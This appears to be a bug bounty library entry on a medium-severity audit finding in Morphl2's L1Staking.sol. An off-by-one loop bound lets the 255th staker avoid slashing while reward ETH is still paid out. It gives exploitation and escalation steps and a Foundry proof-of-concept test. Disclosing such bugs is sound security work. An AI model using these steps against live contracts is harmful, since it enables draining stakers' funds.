# The 255th staker in `L1Staking.sol` can avoid getting slashed and inadvertently cause fund loss to stakers

Off-by-one loop bound in getStakersFromBitmap skips the 255th staker, so slashing resolves to address(0) and the staker escapes removal while ETH is still paid out.

- Payout: Audit contest
- Severity: medium
- Program: Morphl2
- Found by: 0xRajkumar
- Disclosed: 2024-08-28
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2024-08-morphl2-judging/issues/142
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-08-morphl2%3AM-3
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic

**Target:** L1Staking.sol getStakersFromBitmap / slash on L1 staking contract
**Root cause:** getStakersFromBitmap loops `for (uint8 i = 1; i < 255; i++)`, never checking bit 255, so the 255th staker (index 254) maps to address(0) in the returned array.
**Steps:**
1. Register 255 stakers so stakerSet[254] is the 255th staker.
2. Build bitmap via getStakersBitmap([staker254]) — only bit 255 set.
3. Call getStakersFromBitmap(bitmap): loop stops at i<255, returns [address(0)].
4. Trigger slash(bitmap) from rollupContract: _removeStaker(address(0)) and whitelist delete hit address(0), not the real staker.
5. Observe reward still transferred to rollupContract while staker remains active (isActiveStaker == true).
**How found:** Code review of getStakersFromBitmap loop bounds against the documented 0-254 stakerSet indexing; noticed loop upper bound 255 excludes the last index, confirmed with a Foundry PoC.
**Exploitation:** A staker occupying the 255th slot commits invalid batches; when challenged, slash() pays the challenger reward from stakingValue but removes address(0) instead of the offending staker, letting them keep committing and draining L1Staking ETH over time.
**Escalation:** Repeated invalid batches by the un-slashed 255th staker drain staking pool ETH, eventually blocking withdrawals and slashing for all stakers.
**Insight:** When a bitmap-to-array helper uses a fixed-size array with 1-based indexing, verify the loop bound covers the maximum index (<=255, not <255); off-by-one here silently substitutes address(0) into state-changing paths.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test for 255th staker slash bypass**

```
function test_poc_255() external{
         address[] memory add = new address[](255);

         for(uint256 i = 0 ; i < 255 ; i++)
         {
            add[i] = address(bytes20(bytes32(keccak256(abi.encodePacked(1500 + i)))));
         }

        hevm.prank(multisig);
        l1Staking.updateWhitelist(add, new address[](0));

        // register all the 255 stakers
        for(uint256 i = 0 ; i < 255 ; i++)
         {
        Types.StakerInfo memory info;
        info.tmKey = bytes32(i+1);
        bytes memory blsKey = new bytes(256);
        blsKey[31] = bytes1(uint8(i)); 
        info.blsKey = blsKey;
        assert(info.blsKey.length == 256);
        hevm.deal(add[i], 5 * STAKING_VALUE);
        hevm.prank(add[i]);
        l1Staking.register{value: STAKING_VALUE}(info.tmKey, info.blsKey);
         }
        
        assertEq(add.length, 255);
        address[] memory arr = new address[](1);
        arr[0] = add[254];
         uint256 _bitmap = l1Staking.getStakersBitmap(arr); // this bitmap will contain the 255th staker only
        address[] memory stakers = l1Staking.getStakersFromBitmap(_bitmap);

        // as you can see the array is {address(0)}
        assertEq(stakers[0], address(0));

        // simulate the challenger win flow
        hevm.prank(l1Staking.rollupContract());
        uint256 balanceBefore = address(l1Staking).balance;
        uint256 reward = l1Staking.slash(_bitmap);    
        uint256 balanceAfter = address(l1Staking).balance;

        // the contract loses "reward" amount of ETH
        assertEq(balanceBefore, balanceAfter + reward);
        
        // the 255th staker still remains an active staker
        assert(l1Staking.isActiveStaker(arr[0]) == true);
}
```

